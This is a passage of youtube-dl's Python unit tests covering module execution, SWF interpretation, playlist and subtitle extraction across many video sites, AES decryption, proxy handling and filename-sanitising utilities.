            '505835.mp4', 2, old_age=25)


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python
# coding: utf-8

from __future__ import unicode_literals

import unittest

import sys
import os
import subprocess
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from youtube_dl.utils import encodeArgument

rootDir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


try:
    _DEV_NULL = subprocess.DEVNULL
except AttributeError:
    _DEV_NULL = open(os.devnull, 'wb')


class TestExecution(unittest.TestCase):
    def test_import(self):
        subprocess.check_call([sys.executable, '-c', 'import youtube_dl'], cwd=rootDir)

    def test_module_exec(self):
        if sys.version_info >= (2, 7):  # Python 2.6 doesn't support package execution
            subprocess.check_call([sys.executable, '-m', 'youtube_dl', '--version'], cwd=rootDir, stdout=_DEV_NULL)

    def test_main_exec(self):
        subprocess.check_call([sys.executable, 'youtube_dl/__main__.py', '--version'], cwd=rootDir, stdout=_DEV_NULL)

    def test_cmdline_umlauts(self):
        p = subprocess.Popen(
            [sys.executable, 'youtube_dl/__main__.py', encodeArgument('ä'), '--version'],
            cwd=rootDir, stdout=_DEV_NULL, stderr=subprocess.PIPE)
        _, stderr = p.communicate()
        self.assertFalse(stderr)

if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python
from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))


import errno
import io
import json
import re
import subprocess

from youtube_dl.swfinterp import SWFInterpreter


TEST_DIR = os.path.join(
    os.path.dirname(os.path.abspath(__file__)), 'swftests')


class TestSWFInterpreter(unittest.TestCase):
    pass


def _make_testfunc(testfile):
    m = re.match(r'^(.*)\.(as)$', testfile)
    if not m:
        return
    test_id = m.group(1)

    def test_func(self):
        as_file = os.path.join(TEST_DIR, testfile)
        swf_file = os.path.join(TEST_DIR, test_id + '.swf')
        if ((not os.path.exists(swf_file)) or
                os.path.getmtime(swf_file) < os.path.getmtime(as_file)):
            # Recompile
            try:
                subprocess.check_call([
                    'mxmlc', '-output', swf_file,
                    '-static-link-runtime-shared-libraries', as_file])
            except OSError as ose:
                if ose.errno == errno.ENOENT:
                    print('mxmlc not found! Skipping test.')
                    return
                raise

        with open(swf_file, 'rb') as swf_f:
            swf_content = swf_f.read()
        swfi = SWFInterpreter(swf_content)

        with io.open(as_file, 'r', encoding='utf-8') as as_f:
            as_content = as_f.read()

        def _find_spec(key):
            m = re.search(
                r'(?m)^//\s*%s:\s*(.*?)\n' % re.escape(key), as_content)
            if not m:
                raise ValueError('Cannot find %s in %s' % (key, testfile))
            return json.loads(m.group(1))

        input_args = _find_spec('input')
        output = _find_spec('output')

        swf_class = swfi.extract_class(test_id)
        func = swfi.extract_function(swf_class, 'main')
        res = func(input_args)
        self.assertEqual(res, output)

    test_func.__name__ = str('test_swf_' + test_id)
    setattr(TestSWFInterpreter, test_func.__name__, test_func)


for testfile in os.listdir(TEST_DIR):
    _make_testfunc(testfile)

if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python
from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from test.helper import FakeYDL


from youtube_dl.extractor import (
    YoutubePlaylistIE,
    YoutubeIE,
)


class TestYoutubeLists(unittest.TestCase):
    def assertIsPlaylist(self, info):
        """Make sure the info has '_type' set to 'playlist'"""
        self.assertEqual(info['_type'], 'playlist')

    def test_youtube_playlist_noplaylist(self):
        dl = FakeYDL()
        dl.params['noplaylist'] = True
        ie = YoutubePlaylistIE(dl)
        result = ie.extract('https://www.youtube.com/watch?v=FXxLjLQi3Fg&list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re')
        self.assertEqual(result['_type'], 'url')
        self.assertEqual(YoutubeIE().extract_id(result['url']), 'FXxLjLQi3Fg')

    def test_youtube_course(self):
        dl = FakeYDL()
        ie = YoutubePlaylistIE(dl)
        # TODO find a > 100 (paginating?) videos course
        result = ie.extract('https://www.youtube.com/course?list=ECUl4u3cNGP61MdtwGTqZA0MreSaDybji8')
        entries = list(result['entries'])
        self.assertEqual(YoutubeIE().extract_id(entries[0]['url']), 'j9WZyLZCBzs')
        self.assertEqual(len(entries), 25)
        self.assertEqual(YoutubeIE().extract_id(entries[-1]['url']), 'rYefUsYuEp0')

    def test_youtube_mix(self):
        dl = FakeYDL()
        ie = YoutubePlaylistIE(dl)
        result = ie.extract('https://www.youtube.com/watch?v=W01L70IGBgE&index=2&list=RDOQpdSVF_k_w')
        entries = result['entries']
        self.assertTrue(len(entries) >= 50)
        original_video = entries[0]
        self.assertEqual(original_video['id'], 'OQpdSVF_k_w')

    def test_youtube_toptracks(self):
        print('Skipping: The playlist page gives error 500')
        return
        dl = FakeYDL()
        ie = YoutubePlaylistIE(dl)
        result = ie.extract('https://www.youtube.com/playlist?list=MCUS')
        entries = result['entries']
        self.assertEqual(len(entries), 100)

    def test_youtube_flat_playlist_titles(self):
        dl = FakeYDL()
        dl.params['extract_flat'] = True
        ie = YoutubePlaylistIE(dl)
        result = ie.extract('https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re')
        self.assertIsPlaylist(result)
        for entry in result['entries']:
            self.assertTrue(entry.get('title'))

if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python
from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from test.helper import FakeYDL, md5


from youtube_dl.extractor import (
    YoutubeIE,
    DailymotionIE,
    TEDIE,
    VimeoIE,
    WallaIE,
    CeskaTelevizeIE,
    LyndaIE,
    NPOIE,
    ComedyCentralIE,
    NRKTVIE,
    RaiTVIE,
    VikiIE,
    ThePlatformIE,
    ThePlatformFeedIE,
    RTVEALaCartaIE,
    FunnyOrDieIE,
    DemocracynowIE,
)


class BaseTestSubtitles(unittest.TestCase):
    url = None
    IE = None

    def setUp(self):
        self.DL = FakeYDL()
        self.ie = self.IE()
        self.DL.add_info_extractor(self.ie)

    def getInfoDict(self):
        info_dict = self.DL.extract_info(self.url, download=False)
        return info_dict

    def getSubtitles(self):
        info_dict = self.getInfoDict()
        subtitles = info_dict['requested_subtitles']
        if not subtitles:
            return subtitles
        for sub_info in subtitles.values():
            if sub_info.get('data') is None:
                uf = self.DL.urlopen(sub_info['url'])
                sub_info['data'] = uf.read().decode('utf-8')
        return dict((l, sub_info['data']) for l, sub_info in subtitles.items())


class TestYoutubeSubtitles(BaseTestSubtitles):
    url = 'QRS8MkLhQmM'
    IE = YoutubeIE

    def test_youtube_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(len(subtitles.keys()), 13)
        self.assertEqual(md5(subtitles['en']), '3cb210999d3e021bd6c7f0ea751eab06')
        self.assertEqual(md5(subtitles['it']), '6d752b98c31f1cf8d597050c7a2cb4b5')
        for lang in ['fr', 'de']:
            self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang)

    def test_youtube_subtitles_ttml_format(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['subtitlesformat'] = 'ttml'
        subtitles = self.getSubtitles()
        self.assertEqual(md5(subtitles['en']), 'e306f8c42842f723447d9f63ad65df54')

    def test_youtube_subtitles_vtt_format(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['subtitlesformat'] = 'vtt'
        subtitles = self.getSubtitles()
        self.assertEqual(md5(subtitles['en']), '3cb210999d3e021bd6c7f0ea751eab06')

    def test_youtube_automatic_captions(self):
        self.url = '8YoUxe5ncPo'
        self.DL.params['writeautomaticsub'] = True
        self.DL.params['subtitleslangs'] = ['it']
        subtitles = self.getSubtitles()
        self.assertTrue(subtitles['it'] is not None)

    def test_youtube_translated_subtitles(self):
        # This video has a subtitles track, which can be translated
        self.url = 'Ky9eprVWzlI'
        self.DL.params['writeautomaticsub'] = True
        self.DL.params['subtitleslangs'] = ['it']
        subtitles = self.getSubtitles()
        self.assertTrue(subtitles['it'] is not None)

    def test_youtube_nosubtitles(self):
        self.DL.expect_warning('video doesn\'t have subtitles')
        self.url = 'n5BB19UTcdA'
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertFalse(subtitles)


class TestDailymotionSubtitles(BaseTestSubtitles):
    url = 'http://www.dailymotion.com/video/xczg00'
    IE = DailymotionIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertTrue(len(subtitles.keys()) >= 6)
        self.assertEqual(md5(subtitles['en']), '976553874490cba125086bbfea3ff76f')
        self.assertEqual(md5(subtitles['fr']), '594564ec7d588942e384e920e5341792')
        for lang in ['es', 'fr', 'de']:
            self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang)

    def test_nosubtitles(self):
        self.DL.expect_warning('video doesn\'t have subtitles')
        self.url = 'http://www.dailymotion.com/video/x12u166_le-zapping-tele-star-du-08-aout-2013_tv'
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertFalse(subtitles)


class TestTedSubtitles(BaseTestSubtitles):
    url = 'http://www.ted.com/talks/dan_dennett_on_our_consciousness.html'
    IE = TEDIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertTrue(len(subtitles.keys()) >= 28)
        self.assertEqual(md5(subtitles['en']), '4262c1665ff928a2dada178f62cb8d14')
        self.assertEqual(md5(subtitles['fr']), '66a63f7f42c97a50f8c0e90bc7797bb5')
        for lang in ['es', 'fr', 'de']:
            self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang)


class TestVimeoSubtitles(BaseTestSubtitles):
    url = 'http://vimeo.com/76979871'
    IE = VimeoIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['de', 'en', 'es', 'fr']))
        self.assertEqual(md5(subtitles['en']), '8062383cf4dec168fc40a088aa6d5888')
        self.assertEqual(md5(subtitles['fr']), 'b6191146a6c5d3a452244d853fde6dc8')

    def test_nosubtitles(self):
        self.DL.expect_warning('video doesn\'t have subtitles')
        self.url = 'http://vimeo.com/56015672'
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertFalse(subtitles)


class TestWallaSubtitles(BaseTestSubtitles):
    url = 'http://vod.walla.co.il/movie/2705958/the-yes-men'
    IE = WallaIE

    def test_allsubtitles(self):
        self.DL.expect_warning('Automatic Captions not supported by this server')
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['heb']))
        self.assertEqual(md5(subtitles['heb']), 'e758c5d7cb982f6bef14f377ec7a3920')

    def test_nosubtitles(self):
        self.DL.expect_warning('video doesn\'t have subtitles')
        self.url = 'http://vod.walla.co.il/movie/2642630/one-direction-all-for-one'
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertFalse(subtitles)


class TestCeskaTelevizeSubtitles(BaseTestSubtitles):
    url = 'http://www.ceskatelevize.cz/ivysilani/10600540290-u6-uzasny-svet-techniky'
    IE = CeskaTelevizeIE

    def test_allsubtitles(self):
        self.DL.expect_warning('Automatic Captions not supported by this server')
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['cs']))
        self.assertTrue(len(subtitles['cs']) > 20000)

    def test_nosubtitles(self):
        self.DL.expect_warning('video doesn\'t have subtitles')
        self.url = 'http://www.ceskatelevize.cz/ivysilani/ivysilani/10441294653-hyde-park-civilizace/214411058091220'
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertFalse(subtitles)


class TestLyndaSubtitles(BaseTestSubtitles):
    url = 'http://www.lynda.com/Bootstrap-tutorials/Using-exercise-files/110885/114408-4.html'
    IE = LyndaIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['en']))
        self.assertEqual(md5(subtitles['en']), '09bbe67222259bed60deaa26997d73a7')


class TestNPOSubtitles(BaseTestSubtitles):
    url = 'http://www.npo.nl/nos-journaal/28-08-2014/POW_00722860'
    IE = NPOIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['nl']))
        self.assertEqual(md5(subtitles['nl']), 'fc6435027572b63fb4ab143abd5ad3f4')


class TestMTVSubtitles(BaseTestSubtitles):
    url = 'http://www.cc.com/video-clips/kllhuv/stand-up-greg-fitzsimmons--uncensored---too-good-of-a-mother'
    IE = ComedyCentralIE

    def getInfoDict(self):
        return super(TestMTVSubtitles, self).getInfoDict()['entries'][0]

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['en']))
        self.assertEqual(md5(subtitles['en']), 'b9f6ca22a6acf597ec76f61749765e65')


class TestNRKSubtitles(BaseTestSubtitles):
    url = 'http://tv.nrk.no/serie/ikke-gjoer-dette-hjemme/DMPV73000411/sesong-2/episode-1'
    IE = NRKTVIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['no']))
        self.assertEqual(md5(subtitles['no']), '544fa917d3197fcbee64634559221cc2')


class TestRaiSubtitles(BaseTestSubtitles):
    url = 'http://www.rai.tv/dl/RaiTV/programmi/media/ContentItem-cb27157f-9dd0-4aee-b788-b1f67643a391.html'
    IE = RaiTVIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['it']))
        self.assertEqual(md5(subtitles['it']), 'b1d90a98755126b61e667567a1f6680a')


class TestVikiSubtitles(BaseTestSubtitles):
    url = 'http://www.viki.com/videos/1060846v-punch-episode-18'
    IE = VikiIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['en']))
        self.assertEqual(md5(subtitles['en']), '53cb083a5914b2d84ef1ab67b880d18a')


class TestThePlatformSubtitles(BaseTestSubtitles):
    # from http://www.3playmedia.com/services-features/tools/integrations/theplatform/
    # (see http://theplatform.com/about/partners/type/subtitles-closed-captioning/)
    url = 'theplatform:JFUjUE1_ehvq'
    IE = ThePlatformIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['en']))
        self.assertEqual(md5(subtitles['en']), '97e7670cbae3c4d26ae8bcc7fdd78d4b')


class TestThePlatformFeedSubtitles(BaseTestSubtitles):
    url = 'http://feed.theplatform.com/f/7wvmTC/msnbc_video-p-test?form=json&pretty=true&range=-40&byGuid=n_hardball_5biden_140207'
    IE = ThePlatformFeedIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['en']))
        self.assertEqual(md5(subtitles['en']), '48649a22e82b2da21c9a67a395eedade')


class TestRtveSubtitles(BaseTestSubtitles):
    url = 'http://www.rtve.es/alacarta/videos/los-misterios-de-laura/misterios-laura-capitulo-32-misterio-del-numero-17-2-parte/2428621/'
    IE = RTVEALaCartaIE

    def test_allsubtitles(self):
        print('Skipping, only available from Spain')
        return
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['es']))
        self.assertEqual(md5(subtitles['es']), '69e70cae2d40574fb7316f31d6eb7fca')


class TestFunnyOrDieSubtitles(BaseTestSubtitles):
    url = 'http://www.funnyordie.com/videos/224829ff6d/judd-apatow-will-direct-your-vine'
    IE = FunnyOrDieIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['en']))
        self.assertEqual(md5(subtitles['en']), 'c5593c193eacd353596c11c2d4f9ecc4')


class TestDemocracynowSubtitles(BaseTestSubtitles):
    url = 'http://www.democracynow.org/shows/2015/7/3'
    IE = DemocracynowIE

    def test_allsubtitles(self):
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['en']))
        self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c')

    def test_subtitles_in_page(self):
        self.url = 'http://www.democracynow.org/2015/7/3/this_flag_comes_down_today_bree'
        self.DL.params['writesubtitles'] = True
        self.DL.params['allsubtitles'] = True
        subtitles = self.getSubtitles()
        self.assertEqual(set(subtitles.keys()), set(['en']))
        self.assertEqual(md5(subtitles['en']), 'acaca989e24a9e45a6719c9b3d60815c')


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from youtube_dl.aes import aes_decrypt, aes_encrypt, aes_cbc_decrypt, aes_decrypt_text
from youtube_dl.utils import bytes_to_intlist, intlist_to_bytes
import base64

# the encrypted data can be generate with 'devscripts/generate_aes_testdata.py'


class TestAES(unittest.TestCase):
    def setUp(self):
        self.key = self.iv = [0x20, 0x15] + 14 * [0]
        self.secret_msg = b'Secret message goes here'

    def test_encrypt(self):
        msg = b'message'
        key = list(range(16))
        encrypted = aes_encrypt(bytes_to_intlist(msg), key)
        decrypted = intlist_to_bytes(aes_decrypt(encrypted, key))
        self.assertEqual(decrypted, msg)

    def test_cbc_decrypt(self):
        data = bytes_to_intlist(
            b"\x97\x92+\xe5\x0b\xc3\x18\x91ky9m&\xb3\xb5@\xe6'\xc2\x96.\xc8u\x88\xab9-[\x9e|\xf1\xcd"
        )
        decrypted = intlist_to_bytes(aes_cbc_decrypt(data, self.key, self.iv))
        self.assertEqual(decrypted.rstrip(b'\x08'), self.secret_msg)

    def test_decrypt_text(self):
        password = intlist_to_bytes(self.key).decode('utf-8')
        encrypted = base64.b64encode(
            intlist_to_bytes(self.iv[:8]) +
            b'\x17\x15\x93\xab\x8d\x80V\xcdV\xe0\t\xcdo\xc2\xa5\xd8ksM\r\xe27N\xae'
        ).decode('utf-8')
        decrypted = (aes_decrypt_text(encrypted, password, 16))
        self.assertEqual(decrypted, self.secret_msg)

        password = intlist_to_bytes(self.key).decode('utf-8')
        encrypted = base64.b64encode(
            intlist_to_bytes(self.iv[:8]) +
            b'\x0b\xe6\xa4\xd9z\x0e\xb8\xb9\xd0\xd4i_\x85\x1d\x99\x98_\xe5\x80\xe7.\xbf\xa5\x83'
        ).decode('utf-8')
        decrypted = (aes_decrypt_text(encrypted, password, 32))
        self.assertEqual(decrypted, self.secret_msg)

if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python
# coding: utf-8
from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

import random
import subprocess

from test.helper import (
    FakeYDL,
    get_params,
)
from youtube_dl.compat import (
    compat_str,
    compat_urllib_request,
)


class TestMultipleSocks(unittest.TestCase):
    @staticmethod
    def _check_params(attrs):
        params = get_params()
        for attr in attrs:
            if attr not in params:
                print('Missing %s. Skipping.' % attr)
                return
        return params

    def test_proxy_http(self):
        params = self._check_params(['primary_proxy', 'primary_server_ip'])
        if params is None:
            return
        ydl = FakeYDL({
            'proxy': params['primary_proxy']
        })
        self.assertEqual(
            ydl.urlopen('http://yt-dl.org/ip').read().decode('utf-8'),
            params['primary_server_ip'])

    def test_proxy_https(self):
        params = self._check_params(['primary_proxy', 'primary_server_ip'])
        if params is None:
            return
        ydl = FakeYDL({
            'proxy': params['primary_proxy']
        })
        self.assertEqual(
            ydl.urlopen('https://yt-dl.org/ip').read().decode('utf-8'),
            params['primary_server_ip'])

    def test_secondary_proxy_http(self):
        params = self._check_params(['secondary_proxy', 'secondary_server_ip'])
        if params is None:
            return
        ydl = FakeYDL()
        req = compat_urllib_request.Request('http://yt-dl.org/ip')
        req.add_header('Ytdl-request-proxy', params['secondary_proxy'])
        self.assertEqual(
            ydl.urlopen(req).read().decode('utf-8'),
            params['secondary_server_ip'])

    def test_secondary_proxy_https(self):
        params = self._check_params(['secondary_proxy', 'secondary_server_ip'])
        if params is None:
            return
        ydl = FakeYDL()
        req = compat_urllib_request.Request('https://yt-dl.org/ip')
        req.add_header('Ytdl-request-proxy', params['secondary_proxy'])
        self.assertEqual(
            ydl.urlopen(req).read().decode('utf-8'),
            params['secondary_server_ip'])


class TestSocks(unittest.TestCase):
    _SKIP_SOCKS_TEST = True

    def setUp(self):
        if self._SKIP_SOCKS_TEST:
            return

        self.port = random.randint(20000, 30000)
        self.server_process = subprocess.Popen([
            'srelay', '-f', '-i', '127.0.0.1:%d' % self.port],
            stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    def tearDown(self):
        if self._SKIP_SOCKS_TEST:
            return

        self.server_process.terminate()
        self.server_process.communicate()

    def _get_ip(self, protocol):
        if self._SKIP_SOCKS_TEST:
            return '127.0.0.1'

        ydl = FakeYDL({
            'proxy': '%s://127.0.0.1:%d' % (protocol, self.port),
        })
        return ydl.urlopen('http://yt-dl.org/ip').read().decode('utf-8')

    def test_socks4(self):
        self.assertTrue(isinstance(self._get_ip('socks4'), compat_str))

    def test_socks4a(self):
        self.assertTrue(isinstance(self._get_ip('socks4a'), compat_str))

    def test_socks5(self):
        self.assertTrue(isinstance(self._get_ip('socks5'), compat_str))


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python
# coding: utf-8

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))


# Various small unit tests
import io
import json
import xml.etree.ElementTree

from youtube_dl.utils import (
    age_restricted,
    args_to_str,
    encode_base_n,
    clean_html,
    date_from_str,
    DateRange,
    detect_exe_version,
    determine_ext,
    dict_get,
    encode_compat_str,
    encodeFilename,
    escape_rfc3986,
    escape_url,
    extract_attributes,
    ExtractorError,
    find_xpath_attr,
    fix_xml_ampersands,
    get_element_by_class,
    InAdvancePagedList,
    intlist_to_bytes,
    is_html,
    js_to_json,
    limit_length,
    ohdave_rsa_encrypt,
    OnDemandPagedList,
    orderedSet,
    parse_age_limit,
    parse_duration,
    parse_filesize,
    parse_count,
    parse_iso8601,
    read_batch_urls,
    sanitize_filename,
    sanitize_path,
    prepend_extension,
    replace_extension,
    remove_start,
    remove_end,
    remove_quotes,
    shell_quote,
    smuggle_url,
    str_to_int,
    strip_jsonp,
    timeconvert,
    unescapeHTML,
    unified_strdate,
    unified_timestamp,
    unsmuggle_url,
    uppercase_escape,
    lowercase_escape,
    url_basename,
    urlencode_postdata,
    urshift,
    update_url_query,
    version_tuple,
    xpath_with_ns,
    xpath_element,
    xpath_text,
    xpath_attr,
    render_table,
    match_str,
    parse_dfxp_time_expr,
    dfxp2srt,
    cli_option,
    cli_valueless_option,
    cli_bool_option,
    parse_codecs,
)
from youtube_dl.compat import (
    compat_chr,
    compat_etree_fromstring,
    compat_urlparse,
    compat_parse_qs,
)


class TestUtil(unittest.TestCase):
    def test_timeconvert(self):
        self.assertTrue(timeconvert('') is None)
        self.assertTrue(timeconvert('bougrg') is None)

    def test_sanitize_filename(self):
        self.assertEqual(sanitize_filename('abc'), 'abc')
        self.assertEqual(sanitize_filename('abc_d-e'), 'abc_d-e')

        self.assertEqual(sanitize_filename('123'), '123')

        self.assertEqual('abc_de', sanitize_filename('abc/de'))
        self.assertFalse('/' in sanitize_filename('abc/de///'))

        self.assertEqual('abc_de', sanitize_filename('abc/<>\\*|de'))
        self.assertEqual('xxx', sanitize_filename('xxx/<>\\*|'))
        self.assertEqual('yes no', sanitize_filename('yes? no'))
        self.assertEqual('this - that', sanitize_filename('this: that'))

        self.assertEqual(sanitize_filename('AT&T'), 'AT&T')
        aumlaut = 'ä'
        self.assertEqual(sanitize_filename(aumlaut), aumlaut)
        tests = '\u043a\u0438\u0440\u0438\u043b\u043b\u0438\u0446\u0430'
        self.assertEqual(sanitize_filename(tests), tests)

        self.assertEqual(
            sanitize_filename('New World record at 0:12:34'),
            'New World record at 0_12_34')

        self.assertEqual(sanitize_filename('--gasdgf'), '_-gasdgf')
        self.assertEqual(sanitize_filename('--gasdgf', is_id=True), '--gasdgf')
        self.assertEqual(sanitize_filename('.gasdgf'), 'gasdgf')
        self.assertEqual(sanitize_filename('.gasdgf', is_id=True), '.gasdgf')

        forbidden = '"\0\\/'
        for fc in forbidden:
            for fbc in forbidden:
                self.assertTrue(fbc not in sanitize_filename(fc))

    def test_sanitize_filename_restricted(self):
        self.assertEqual(sanitize_filename('abc', restricted=True), 'abc')
        self.assertEqual(sanitize_filename('abc_d-e', restricted=True), 'abc_d-e')

        self.assertEqual(sanitize_filename('123', restricted=True), '123')

        self.assertEqual('abc_de', sanitize_filename('abc/de', restricted=True))
        self.assertFalse('/' in sanitize_filename('abc/de///', restricted=True))

        self.assertEqual('abc_de', sanitize_filename('abc/<>\\*|de', restricted=True))
        self.assertEqual('xxx', sanitize_filename('xxx/<>\\*|', restricted=True))
        self.assertEqual('yes_no', sanitize_filename('yes? no', restricted=True))
        self.assertEqual('this_-_that', sanitize_filename('this: that', restricted=True))

        tests = 'aäb\u4e2d\u56fd\u7684c'
        self.assertEqual(sanitize_filename(tests, restricted=True), 'aab_c')
        self.assertTrue(sanitize_filename('\xf6', restricted=True) != '')  # No empty filename

        forbidden = '"\0\\/&!: \'\t\n()[]{}$;`^,#'
        for fc in forbidden:
            for fbc in forbidden:
                self.assertTrue(fbc not in sanitize_filename(fc, restricted=True))

        # Handle a common case more neatly
        self.assertEqual(sanitize_filename('\u5927\u58f0\u5e26 - Song', restricted=True), 'Song')
        self.assertEqual(sanitize_filename('\u603b\u7edf: Speech', restricted=True), 'Speech')
        # .. but make sure the file name is never empty
        self.assertTrue(sanitize_filename('-', restricted=True) != '')
        self.assertTrue(sanitize_filename(':', restricted=True) != '')

        self.assertEqual(sanitize_filename(
            'ÂÃÄÀÁÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖŐØŒÙÚÛÜŰÝÞßàáâãäåæçèéêëìíîïðñòóôõöőøœùúûüűýþÿ', restricted=True),
            'AAAAAAAECEEEEIIIIDNOOOOOOOOEUUUUUYPssaaaaaaaeceeeeiiiionooooooooeuuuuuypy')

    def test_sanitize_ids(self):
        self.assertEqual(sanitize_filename('_n_cd26wFpw', is_id=True), '_n_cd26wFpw')
        self.assertEqual(sanitize_filename('_BD_eEpuzXw', is_id=True), '_BD_eEpuzXw')
        self.assertEqual(sanitize_filename('N0Y__7-UOdI', is_id=True), 'N0Y__7-UOdI')

    def test_sanitize_path(self):
        if sys.platform != 'win32':
            return

        self.assertEqual(sanitize_path('abc'), 'abc')
        self.assertEqual(sanitize_path('abc/def'), 'abc\\def')
        self.assertEqual(sanitize_path('abc\\def'), 'abc\\def')
        self.assertEqual(sanitize_path('abc|def'), 'abc#def')
        self.assertEqual(sanitize_path('<>:"|?*'), '#######')
        self.assertEqual(sanitize_path('C:/abc/def'), 'C:\\abc\\def')
        self.assertEqual(sanitize_path('C?:/abc/def'), 'C##\\abc\\def')

        self.assertEqual(sanitize_path('\\\\?\\UNC\\ComputerName\\abc'), '\\\\?\\UNC\\ComputerName\\abc')
        self.assertEqual(sanitize_path('\\\\?\\UNC/ComputerName/abc'), '\\\\?\\UNC\\ComputerName\\abc')

        self.assertEqual(sanitize_path('\\\\?\\C:\\abc'), '\\\\?\\C:\\abc')
        self.assertEqual(sanitize_path('\\\\?\\C:/abc'), '\\\\?\\C:\\abc')
        self.assertEqual(sanitize_path('\\\\?\\C:\\ab?c\\de:f'), '\\\\?\\C:\\ab#c\\de#f')
        self.assertEqual(sanitize_path('\\\\?\\C:\\abc'), '\\\\?\\C:\\abc')

        self.assertEqual(
            sanitize_path('youtube/%(uploader)s/%(autonumber)s-%(title)s-%(upload_date)s.%(ext)s'),
            'youtube\\%(uploader)s\\%(autonumber)s-%(title)s-%(upload_date)s.%(ext)s')

        self.assertEqual(
            sanitize_path('youtube/TheWreckingYard ./00001-Not bad, Especially for Free! (1987 Yamaha 700)-20141116.mp4.part'),
            'youtube\\TheWreckingYard #\\00001-Not bad, Especially for Free! (1987 Yamaha 700)-20141116.mp4.part')
        self.assertEqual(sanitize_path('abc/def...'), 'abc\\def..#')
        self.assertEqual(sanitize_path('abc.../def'), 'abc..#\\def')
